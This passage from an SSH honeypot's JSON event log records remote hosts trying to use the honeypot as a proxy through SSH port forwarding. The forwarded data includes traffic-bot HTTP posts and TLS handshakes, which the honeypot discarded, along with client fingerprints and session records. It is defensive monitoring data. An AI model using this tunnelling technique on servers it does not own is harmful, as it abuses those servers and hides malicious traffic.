\\x12\\x9cqF\\x1a\\x8a\\xd7\\xc5\\xae\\xb3zh\\xc8C\\xf4\\xa4u\\xdf\\xb7\\xc5\\x0e\\xf0\\xde\\xfa\\xc0?-\\xd9\\t\\xd46\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:46.298625Z","src_ip":"23.175.50.52","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:46.844517Z","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:46.923198Z","src_ip":"173.208.188.210","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.104\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NXVQRU9DTFc0L0p0biUwYw%3D%3DYTlkvS%2FC0%2BJuu9Qb5RqQyqSfgQthEENFozFwDe8Xg8s%2FYBBeHxfaS2enfwjdcFL78tGoJz%2FBeTXVRG%2B23SNGdwL%2FV3Hon6wyruaR9GHAr8MQ0jbcRbPRIbSXfwzAWWMtT7DfrUg6wGYcSaZ4gZEKDuJgcVhRR7lSeLtBTvg4MFFw5TBCulStJnA8xUL7cv9%2FExM1d2SyiT2RaAmWGGxgBnOtRmDKG9uRgPPnDEe9mX0mBo3rXcIEU9UBycW6y3vcOrsVOGx8NWK136CogABr3LYMnotwJRi7DDLRgghkpDYCeC73XoIqUZH5gxEmiUsh%2FCPvvq3U0tCyGBu6HC8JWcIOO5T4SvIYdw893J2FZqT5Slf4rqzEiefM8dkr2xmuIea4S0dRnFfgtvmZJ6R5VzLRhm6Rryle4A7zQYZh%2B6zD9opPvF4di%2F729Z529XMROfiIQNmQgSvUk1D1a9EINBIGs0CX5SS45h1LQ%2BNIQMdaAC6ZSRxt2WZ8BFH4LpDzcx7OPpi7GnTMixlLRdv66Q0uBUn0zTfDBpqBkPx6A9Fn38pdpVnKEWhPTnKbhGRN0JUNDNWqXHfLhfEa46mt1tOGAoF00hViyouFzwMnqB%2BED09VbT7MjTt3zWfYxLj8aqUswJLw%2FfjLvt5mW3c9efpNTFdW2YQISiHXQQLPnqNxQmybWejKkatmWxrYS31YRd40PJpRg%2BjzIud39xKkL6i4ZTgowcyYjAqwGM9r6mEL0d3EBfESKp8XipoaJhVPrnw%2FTjlOh5bSikPVA9fPRLoFPmyilRtgptiSz0q%2B6chKcBrmdr50ZewC8oZqcuSE%2BqT2BXOXzxePTLy%2BjPsGdpgjQibZjYDCAhUD2Mno%2BwdVXBZBtQUp3Dg3CxzGPj6KMgNe5vv2SpfqbVO333k4qTBZEBqXfZUkSfY2BWyrld4rsDjkRXsqvzr13KyNh7w95XhzxM4m%2FxHc3bOUyTEeo2cos9HUyVIWAti4k%2BVl%2FwMqm1T4N5oJUvRThDaxHyH%2FhcthcZ0HAbdLEfGNkS%2FblDJprxp4SAeSGJaQsMdm7YSkZRyYN%2BKUbwUhfydTmDtI'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.104\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NXVQRU9DTFc0L0p0biUwYw%3D%3DYTlkvS%2FC0%2BJuu9Qb5RqQyqSfgQthEENFozFwDe8Xg8s%2FYBBeHxfaS2enfwjdcFL78tGoJz%2FBeTXVRG%2B23SNGdwL%2FV3Hon6wyruaR9GHAr8MQ0jbcRbPRIbSXfwzAWWMtT7DfrUg6wGYcSaZ4gZEKDuJgcVhRR7lSeLtBTvg4MFFw5TBCulStJnA8xUL7cv9%2FExM1d2SyiT2RaAmWGGxgBnOtRmDKG9uRgPPnDEe9mX0mBo3rXcIEU9UBycW6y3vcOrsVOGx8NWK136CogABr3LYMnotwJRi7DDLRgghkpDYCeC73XoIqUZH5gxEmiUsh%2FCPvvq3U0tCyGBu6HC8JWcIOO5T4SvIYdw893J2FZqT5Slf4rqzEiefM8dkr2xmuIea4S0dRnFfgtvmZJ6R5VzLRhm6Rryle4A7zQYZh%2B6zD9opPvF4di%2F729Z529XMROfiIQNmQgSvUk1D1a9EINBIGs0CX5SS45h1LQ%2BNIQMdaAC6ZSRxt2WZ8BFH4LpDzcx7OPpi7GnTMixlLRdv66Q0uBUn0zTfDBpqBkPx6A9Fn38pdpVnKEWhPTnKbhGRN0JUNDNWqXHfLhfEa46mt1tOGAoF00hViyouFzwMnqB%2BED09VbT7MjTt3zWfYxLj8aqUswJLw%2FfjLvt5mW3c9efpNTFdW2YQISiHXQQLPnqNxQmybWejKkatmWxrYS31YRd40PJpRg%2BjzIud39xKkL6i4ZTgowcyYjAqwGM9r6mEL0d3EBfESKp8XipoaJhVPrnw%2FTjlOh5bSikPVA9fPRLoFPmyilRtgptiSz0q%2B6chKcBrmdr50ZewC8oZqcuSE%2BqT2BXOXzxePTLy%2BjPsGdpgjQibZjYDCAhUD2Mno%2BwdVXBZBtQUp3Dg3CxzGPj6KMgNe5vv2SpfqbVO333k4qTBZEBqXfZUkSfY2BWyrld4rsDjkRXsqvzr13KyNh7w95XhzxM4m%2FxHc3bOUyTEeo2cos9HUyVIWAti4k%2BVl%2FwMqm1T4N5oJUvRThDaxHyH%2FhcthcZ0HAbdLEfGNkS%2FblDJprxp4SAeSGJaQsMdm7YSkZRyYN%2BKUbwUhfydTmDtI'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:46.926394Z","src_ip":"173.208.188.210","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:47.041684Z","src_ip":"27.71.230.31","session":"ae266c4451ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.9","message":"Connection lost after 18.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:49.952657Z","src_ip":"23.175.50.52","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:50.011369Z","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:50.375426Z","src_ip":"173.208.188.210","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03s\\xbd\\xbb\\x11\\xe7?\\x8886!\\xce\\xb4K\\xaa5\\xa0d\\t?\\xc9\\xa2\\xd3\\x08\\xf6\\x00o/\\x01\\x83\\xf3\\xaf\\xda 5\\x9eJ\\xb5\\x1a\\xb5\\x08l1~\\x11\\x01\\xcaM\\x0eK\\x96}6\\rb\\x8d\\xf2\\xce\\x08\\xf3\\xd7\\x82\\x8c\\xecc\"\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\xd6\\x94hvZcd\\xb1Y@\\xff\\xaaE\\xe1\\xd6\\x19\\xec\\x87\\xd6\\x15\\x9a\\xf8\\xf4qO$\\x06\\xceix\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03s\\xbd\\xbb\\x11\\xe7?\\x8886!\\xce\\xb4K\\xaa5\\xa0d\\t?\\xc9\\xa2\\xd3\\x08\\xf6\\x00o/\\x01\\x83\\xf3\\xaf\\xda 5\\x9eJ\\xb5\\x1a\\xb5\\x08l1~\\x11\\x01\\xcaM\\x0eK\\x96}6\\rb\\x8d\\xf2\\xce\\x08\\xf3\\xd7\\x82\\x8c\\xecc\"\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\xd6\\x94hvZcd\\xb1Y@\\xff\\xaaE\\xe1\\xd6\\x19\\xec\\x87\\xd6\\x15\\x9a\\xf8\\xf4qO$\\x06\\xceix\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:50.378363Z","src_ip":"173.208.188.210","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:50.414128Z","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:50.447663Z","src_ip":"173.208.188.210","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\xf8/\\xaeE\\x8f\\xd5\\xfc\\xc5\\xf8\\xef!Z\\xeb\\x17\\x90a\\x90{\\xd4[\\xf5\\xcc\\x7fnB*\\xc4m\\xb9Y\\x9d \\xadpLt7\\xa1\\x91\\x96\\x1e\\xb0\\xd8t\\x80\\x02I4\\x08\\xf5\\x18]\\x16\\xc8.7\\x16L|AdbF\\x8f\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 2\\x1a\\x1eF1\\x80\\xeb\\x13\\x02\\xc4<\\x10$/|\\xd4\\xd6Hqh\\xaf@\\x8d\\xb5\\xcb\\xbb\\x1d{\\xdd\\xcc}c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\xf8/\\xaeE\\x8f\\xd5\\xfc\\xc5\\xf8\\xef!Z\\xeb\\x17\\x90a\\x90{\\xd4[\\xf5\\xcc\\x7fnB*\\xc4m\\xb9Y\\x9d \\xadpLt7\\xa1\\x91\\x96\\x1e\\xb0\\xd8t\\x80\\x02I4\\x08\\xf5\\x18]\\x16\\xc8.7\\x16L|AdbF\\x8f\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 2\\x1a\\x1eF1\\x80\\xeb\\x13\\x02\\xc4<\\x10$/|\\xd4\\xd6Hqh\\xaf@\\x8d\\xb5\\xcb\\xbb\\x1d{\\xdd\\xcc}c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:50.450845Z","src_ip":"173.208.188.210","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.0","message":"Connection lost after 17.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:55.090125Z","src_ip":"173.208.188.210","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":50642,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d67c27f2211","protocol":"ssh","message":"New connection: 63.141.242.2:50642 (10.17.0.5:22) [session: 2d67c27f2211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:07.977917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:07.982644Z","src_ip":"63.141.242.2","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-c